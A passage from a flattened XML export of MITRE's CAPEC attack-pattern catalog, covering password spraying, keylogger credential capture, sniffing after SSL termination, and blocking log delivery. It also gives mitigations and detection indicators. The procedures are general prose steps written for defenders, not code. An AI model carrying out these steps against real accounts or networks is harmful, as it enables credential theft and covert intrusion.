The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification32048 + Modification_32048 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification32054 + Modification_32054 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification32060 + Modification_32060 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-565 + Password Spraying + + + + + + + + + 565 + + + + + Password Spraying + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In a Password Spraying attack, an adversary tries a small list (e.g. 3-5) of common or expected passwords, often matching the target's complexity policy, against a known list of user accounts to gain valid credentials. The adversary tries a particular password for each user account, before moving onto the next password in the list. This approach assists the adversary in remaining undetected by avoiding rapid or frequent account lockouts. The adversary may then reattempt the process with additional passwords, once enough time has passed to prevent inducing a lockout.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Password Spraying attacks often target management services over commonly used ports such as SSH, FTP, Telnet, LDAP, Kerberos, MySQL, and more. Additional targets include Single Sign-On (SSO) or cloud-based applications/services that utilize federated authentication protocols, and externally facing applications. Successful execution of Password Spraying attacks usually lead to lateral movement within the target, which allows the adversary to impersonate the victim or execute any action that the victim is authorized to perform. If the password chosen by the user is commonly used or easily guessed, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Password Spraying Attacks are similar to Dictionary-based Password Attacks (CAPEC-16) in that they both leverage precompiled lists (i.e. dictionaries) of username/password combinations to try against a system/application. The primary difference is that Password Spraying Attacks leverage a known list of user accounts and only try one password for each account before moving onto the next password. In contrast, Dictionary-based Password Attacks leverage unknown username/password combinations and are often executed offline against files containing hashed credentials, where inducing an account lockout is not a concern.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Password Spraying Attacks are also similar to Credential Stuffing attacks (CAPEC-600), since both utilize known user accounts and often attack the same targets. Credential Stuffing attacks, however, leverage known username/password combinations, whereas Password Spraying attacks have no insight into known username/password pairs. If a Password Spraying attack succeeds, it may additionally lead to Credential Stuffing attacks on different targets.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32080 + Related_Attack_Pattern_32080 + + + + + + + + + + + + + + 49 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32081 + Related_Attack_Pattern_32081 + + + + + + + + + + + + + + 600 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32082 + Related_Attack_Pattern_32082 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32083 + Related_Attack_Pattern_32083 + + + + + + + + + + + + + + 560 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32084 + Related_Attack_Pattern_32084 + + + + + + + + + + + + + + 561 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32085 + Related_Attack_Pattern_32085 + + + + + + + + + + + + + + 653 + + + + + + + + + + + + #indAttackStepAttackStep32088 + Attack_Step_32088 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target's password policy] Determine the password policies of the target system/application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine minimum and maximum allowed password lengths.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep32096 + Attack_Step_32096 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Select passwords] Pick the passwords to be used in the attack (e.g. commonly used passwords, passwords tailored to individual users, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Select passwords based on common use or a particular user's additional details.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Select passwords based on the target's password complexity policies.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep32103 + Attack_Step_32103 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Brute force password] Given the finite space of possible passwords dictated by information determined in the previous steps, try each password for all known user accounts until the target grants access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually or automatically enter the first password for each known user account through the target's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Iterate through the remaining passwords for each known user account.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application uses one factor password based authentication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not have a sound password policy that is being enforced.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not implement an effective password throttling mechanism.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary possesses a list of known user accounts on the target system/application.</xhtml:div> + + + + + + + + + + + + #indSkillSkill32118 + Skill_32118 + + + + + + + + + + + + + + A Password Spraying attack is very straightforward. A variety of password cracking tools are widely available. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A machine with sufficient resources for the job (e.g. CPU, RAM, HD).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Applicable password lists.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A password cracking tool or a custom script that leverages the password list to launch the attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many invalid login attempts are coming from the same machine (same IP address) or for multiple user accounts within short succession.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The login attempts use passwords that have been used previously by the user account in question.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Login attempts are originating from IP addresses or locations that are inconsistent with the user's normal IP addresses or locations.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence32131 + Consequence_32131 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence32137 + Consequence_32137 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence32142 + Consequence_32142 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a strong password policy and ensure that your system enforces this policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-2.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage multi-factor authentication for all authentication services and prior to granting an entity access to the domain network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A user selects the phrase "Password123" as their password, believing that it would be very difficult to guess. Password Spraying, leveraging a list of commonly used passwords, is used to crack this password and gain access to the account.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The Iranian hacker group APT33 (AKA Holmium, Refined Kitten, or Elfin) carried out numerous Password Spraying attacks in 2019. On average, APT33 targeted 2,000 organizations per month, with upwards of 10 million authentication attempts each day. The majority of these attacks targeted manufacturers, suppliers, or maintainers of industrial control system equipment.</xhtml:div> + + + + + 521 + + + + + 262 + + + + + 263 + + + + + 654 + + + + + 307 + + + + + 308 + + + + + 309 + + + + + + + + + + + + #indTaxonomyMappingBruteForcePasswordSpraying + Brute Force:Password Spraying + + + + + + + + + + + + + + 1110.003 + + + + + Brute Force:Password Spraying + + + + + + + + + + + + #indReferenceReference32172 + Reference_32172 + + + + + + + + + REF-565 + + + + + + + + + + + + #indReferenceReference32173 + Reference_32173 + + + + + + + + + REF-566 + + + + + + + + + + + + #indReferenceReference32174 + Reference_32174 + + + + + + + + + REF-567 + + + + + + + + + + + + #indContentHistoryContentHistory32176 + Content_History_32176 + + + + + + + + + + + + + + + + #indSubmissionSubmission32177 + Submission_32177 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + + + + + + + + #indModificationModification32182 + Modification_32182 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32188 + Modification_32188 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-566 + DEPRECATED: Dump Password Hashes + + + + + + + + + 566 + + + + + DEPRECATED: Dump Password Hashes + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory32199 + Content_History_32199 + + + + + + + + + + + + + + + + #indSubmissionSubmission32200 + Submission_32200 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32205 + Modification_32205 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated @Name, @Status, Description, Prerequisites, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName32211 + Previous_Entry_Name_32211 + + + + + + + + + 2019-04-04 + + + + + Dump Password Hashes + + + + + + + + + + + + #CAPEC-567 + DEPRECATED: Obtain Data via Utilities + + + + + + + + + 567 + + + + + DEPRECATED: Obtain Data via Utilities + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory32217 + Content_History_32217 + + + + + + + + + + + + + + + + #indSubmissionSubmission32218 + Submission_32218 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32223 + Modification_32223 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32229 + Modification_32229 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName32235 + Previous_Entry_Name_32235 + + + + + + + + + 2018-07-31 + + + + + Obtain Data via Utilities + + + + + + + + + + + + #CAPEC-568 + Capture Credentials via Keylogger + + + + + + + + + 568 + + + + + Capture Credentials via Keylogger + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary deploys a keylogger in an effort to obtain credentials directly from a system's user. After capturing all the keystrokes made by a user, the adversary can analyze the data and determine which string are likely to be passwords or other credential related information.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32243 + Related_Attack_Pattern_32243 + + + + + + + + + + + + + + 569 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32244 + Related_Attack_Pattern_32244 + + + + + + + + + + + + + + 600 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32245 + Related_Attack_Pattern_32245 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32246 + Related_Attack_Pattern_32246 + + + + + + + + + + + + + + 560 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32247 + Related_Attack_Pattern_32247 + + + + + + + + + + + + + + 561 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32248 + Related_Attack_Pattern_32248 + + + + + + + + + + + + + + 653 + + + + + + + + + + + + #indAttackStepAttackStep32251 + Attack_Step_32251 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine which user's credentials to capture] Since this is a more targeted attack, an adversary will first identify a particular user they wish the capture the credentials of.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep32256 + Attack_Step_32256 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Deploy keylogger] Once a user is identified, an adversary will deploy a keylogger to the user's system in one of many ways.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email with a malicious attachment that installs a keylogger on a user's system</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Conceal a keylogger behind fake software and get the user to download the software</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Get a user to click on a malicious URL that directs them to a webpage that will install a keylogger without their knowledge</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain access to the user's system through a vulnerability and manually install a keylogger</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep32265 + Attack_Step_32265 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Record keystrokes] Once the keylogger is deployed on the user's system, the adversary will record keystrokes over a period of time.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep32270 + Attack_Step_32270 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Analyze data and determine credentials] Using the captured keystrokes, the adversary will be able to determine the credentials of the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search for repeated sequences that are following by the enter key</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search for repeated sequences that are not found in a dictionary</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search for several backspaces in a row. This could indicate a mistyped password. The correct password can then be inferred using the whole key sequence</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep32278 + Attack_Step_32278 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use found credentials] After the adversary has found the credentials for the target user, they will then use them to gain access to a system in order to perform some follow-up attack</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to install the keylogger, either in person or remote.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong physical security can help reduce the ability of an adversary to install a keylogger.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingInputCaptureKeylogging + Input Capture:Keylogging + + + + + + + + + + + + + + 1056.001 + + + + + Input Capture:Keylogging + + + + + + + + + + + + #indContentHistoryContentHistory32296 + Content_History_32296 + + + + + + + + + + + + + + + + #indSubmissionSubmission32297 + Submission_32297 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32302 + Modification_32302 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification32308 + Modification_32308 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification32314 + Modification_32314 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32320 + Modification_32320 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-569 + Collect Data as Provided by Users + + + + + + + + + 569 + + + + + Collect Data as Provided by Users + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker leverages a tool, device, or program to obtain specific information as provided by a user of the target system. This information is often needed by the attacker to launch a follow-on attack. This attack is different than Social Engineering as the adversary is not tricking or deceiving the user. Instead the adversary is putting a mechanism in place that captures the information that a user legitimately enters into a system. Deploying a keylogger, performing a UAC prompt, or wrapping the Windows default credential provider are all examples of such interactions.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32332 + Related_Attack_Pattern_32332 + + + + + + + + + + + + + + 116 + + + + + 437 + + + + + 514 + + + + + 515 + + + + + + + + + + + + #indTaxonomyMappingInputCapture + Input Capture + + + + + + + + + + + + + + 1056 + + + + + Input Capture + + + + + + + + + + + + #indContentHistoryContentHistory32344 + Content_History_32344 + + + + + + + + + + + + + + + + #indSubmissionSubmission32345 + Submission_32345 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32350 + Modification_32350 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification32356 + Modification_32356 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32362 + Modification_32362 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification32368 + Modification_32368 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-57 + Utilizing REST's Trust in the System Resource to Obtain Sensitive Data + + + + + + + + + 57 + + + + + Utilizing REST's Trust in the System Resource to Obtain Sensitive Data + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The adversary can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the adversary gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32388 + Related_Attack_Pattern_32388 + + + + + + + + + + + + + + 157 + + + + + + + + + + + + #indAttackStepAttackStep32391 + Attack_Step_32391 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find a REST-style application that uses SSL] The adversary must first find a REST-style application that uses SSL to target. Because this attack is easier to carry out from inside of a server network, it is likely that an adversary could have inside knowledge of how services operate.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep32396 + Attack_Step_32396 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Insert a listener to sniff client-server communication] The adversary inserts a listener that must exist beyond the point where SSL is terminated. This can be placed on the client side if it is believed that sensitive information is being sent to the client as a response, although most often the listener will be placed on the server side to listen for client authentication information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run wireshark or tcpdump on a device that is on the inside of a firewall, load balancer, or router of a network and capture traffic after SSL has been terminated</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep32402 + Attack_Step_32402 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gather information passed in the clear] If developers have not hashed or encrypted data sent in the sniffed request, the adversary will be able to read this data in the clear. Most commonly, they will now have a username or password that they can use to submit requests to the web service just as an authorized user</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Opportunity to intercept must exist beyond the point where SSL is terminated.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must be able to insert a listener actively (proxying the communication) or passively (sniffing the communication) in the client-server communication path.</xhtml:div> + + + + + + + + + + + + #indSkillSkill32413 + Skill_32413 + + + + + + + + + + + + + + To insert a network sniffer or other listener into the communication stream + + + + + + + + + + + + #indConsequenceConsequence32416 + Consequence_32416 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Implement message level security such as HMAC in the HTTP communication</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Utilize defense in depth, do not rely on a single security mechanism like SSL</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The Rest service provider uses SSL to protect the communications between the service requester (client) to the service provider. In the instance where SSL is terminated before the communications reach the web server, it is very common in enterprise data centers to terminate SSL at a router, firewall, load balancer, proxy or other device, then the adversary can insert a sniffer into the communication stream and gather all the authentication tokens (such as session credentials, username/passwords combinations, and so on). The Rest service requester and service provider do not have any way to detect this attack.</xhtml:div> + + + + + 300 + + + + + 287 + + + + + 693 + + + + + + + + + + + + #indTaxonomyMappingNetworkSniffing + Network Sniffing + + + + + + + + + + + + + + 1040 + + + + + Network Sniffing + + + + + + + + + + + + #indContentHistoryContentHistory32442 + Content_History_32442 + + + + + + + + + + + + + + + + #indSubmissionSubmission32443 + Submission_32443 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification32448 + Modification_32448 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Name, Description, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification32454 + Modification_32454 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification32460 + Modification_32460 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification32466 + Modification_32466 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Extended_Description, Prerequisites + + + + + + + + + + + + #indModificationModification32472 + Modification_32472 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName32478 + Previous_Entry_Name_32478 + + + + + + + + + 2019-09-30 + + + + + Utilizing REST's Trust in the System Resource to Register Man in the Middle + + + + + + + + + + + + #CAPEC-570 + DEPRECATED: Signature-Based Avoidance + + + + + + + + + 570 + + + + + DEPRECATED: Signature-Based Avoidance + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory32484 + Content_History_32484 + + + + + + + + + + + + + + + + #indSubmissionSubmission32485 + Submission_32485 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32490 + Modification_32490 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References, Related_Attack_Patterns, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification32496 + Modification_32496 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName32502 + Previous_Entry_Name_32502 + + + + + + + + + 2018-07-31 + + + + + Signature-Based Avoidance + + + + + + + + + + + + #CAPEC-571 + Block Logging to Central Repository + + + + + + + + + 571 + + + + + Block Logging to Central Repository + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary prevents host-generated logs being delivered to a central location in an attempt to hide indicators of compromise.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In the case of network based reporting of indicators, an adversary may block traffic associated with reporting to prevent central station analysis. This may be accomplished by many means such as stopping a local process to creating a host-based firewall rule to block traffic to a specific server.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In the case of local based reporting of indicators, an adversary may block delivery of locally-generated log files themselves to the central repository.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern32516 + Related_Attack_Pattern_32516 + + + + + + + + + + + + + + 161 + + + + + 515 + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesDisableWindowsEventLogging + Impair Defenses: Disable Windows Event Logging + + + + + + + + + + + + + + 1562.002 + + + + + Impair Defenses: Disable Windows Event Logging + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesImpairCommandHistoryLogging + Impair Defenses: Impair Command History Logging + + + + + + + + + + + + + + 1562.002 + + + + + Impair Defenses: Impair Command History Logging + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesIndicatorBlocking + Impair Defenses: Indicator Blocking + + + + + + + + + + + + + + 1562.006 + + + + + Impair Defenses: Indicator Blocking + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesDisableCloudLogs + Impair Defenses: Disable Cloud Logs + + + + + + + + + + + + + + 1562.008 + + + + + Impair Defenses: Disable Cloud Logs + + + + + + + + + + + + #indContentHistoryContentHistory32538 + Content_History_32538 + + + + + + + + + + + + + + + + #indSubmissionSubmission32539 + Submission_32539 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification32544 + Modification_32544 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Typical_Severity + + + + + + + + + + + + 